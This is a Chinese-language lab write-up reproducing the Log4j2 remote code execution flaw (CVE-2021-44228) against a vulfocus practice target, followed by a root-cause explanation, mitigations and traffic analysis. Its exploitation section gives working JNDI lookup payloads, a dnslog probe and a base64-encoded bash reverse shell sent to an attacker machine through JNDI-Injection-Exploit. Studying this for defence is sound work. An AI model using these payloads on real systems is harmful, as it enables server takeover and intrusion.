web中间件漏洞复现之log4j2

发布时间 2023-07-06 00:12:16作者: 3rdtsuki

引言

Log4j是Apache组织开发的一个Java平台的日志工具,还能记录代码运行时的动态轨迹,常用于递归解析。正是由于其递归解析的能力,导致存在RCE(远程代码执行)漏洞,漏洞存在版本为:Apache Log4j 2.x<=2.14.1,所以也叫做log4j2漏洞

搭建vulfocus靶场

systemctl start docker
git clone https://github.com/fofapro/vulfocus.git
cd vulfocus
docker-compose up -d	# docker拉取并启动靶场

启动后直接访问虚拟机IP:192.168.10.170,用户名admin,密码admin

在vulfocus靶场搭建log4j2环境:Log4j2远程命令执行(CVE-2021-44228),靶机为192.168.10.170:49966

使用dnslog探测漏洞是否存在

dnslog是DNS服务器上存储的用户对域名的查询信息。www.dnslog.cn是一个可以生成子域名,并统计该域名被DNS解析记录的网站,可以用来作为服务端探测本地的log4j是否存在解析漏洞。
image

点击Get SubDomain生成该网站的一个子域名,如lof4ot.dnslog.cn,然后用浏览器访问lof4ot.dnslog.cn。回到dnslog,点击Refresh Record可以看到该域名的解析记录。dnslog可以帮助我们发现目标网站的解析漏洞,即目标网站是否能够像刚才这样访问该子域名

根据子域名构造payload

${jndi:ldap://lof4ot.dnslog.cn/exp}

url编码后为

%24%7Bjndi%3Aldap%3A%2F%2Flof4ot.dnslog.cn%2Fexp%7D

访问

http://192.168.10.170:49966/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Flof4ot.dnslog.cn%2Fexp%7D

发现返回ok,www.dnslog.cn查看日志,发现有新的解析记录。

这说明服务器存在解析漏洞,也就是说服务器将输入的payload执行了

漏洞复现

  • 攻击机192.168.10.129打开端口7777接收反弹shell
nc -lvvp 7777
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.129

其中

  • -c后面是对反弹shell指令bash -i >& /dev/tcp/192.168.10.129/7777 0>&1进行base64编码的结果
  • -A后面是攻击机服务器的IP
  • 该命令的含义是:启动jndi服务,并执行一个bash命令:echo输出一段经过 Base64 编码的反弹shell指令,然后使用 Base64 解码得到原始字符串,并将该字符串作为命令输入传递给 Bash shell,并以交互模式打开 Bash shell。最后将shell反弹给攻击机

结果会生成一些payload,第一行是各版本JDK通用的payload

image

  • 构造payload

    ${jndi:rmi://192.168.10.129:1099/nvjjge}
    

    进行URL编码,然后填入URL中

    http://192.168.10.170:25527/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.10.129%3A1099%2Fnvjjge%7D
    
  • 访问该地址,攻击机即可获得反弹shell

image

漏洞原理

  • 递归解析:org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身
  • 当攻击者访问构造好的URL时,${jndi:rmi://192.168.10.129:1099/nvjjge}被注入到log4j日志文件中,由于log4j会递归解析,目标会通过rmi调用远程服务(rmi允许在网络上的一个 JVM 中调用另一个 JVM 中的对象方法),当rmi服务收到请求之后,将请求进行重定向到恶意 java class的地址,也就是192.168.10.129:1099/nvjjge
  • 目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行反弹shell的命令

防范方法

  • 升级log4j版本
  • 设置参数-Dlog4j2.formatMsgNoLookups=true,阻止日志输出时对占位符${}内容解析

流量分析

wireshark监听,发现有RMI协议的流量,查看其内容,包含反弹shell的命令

image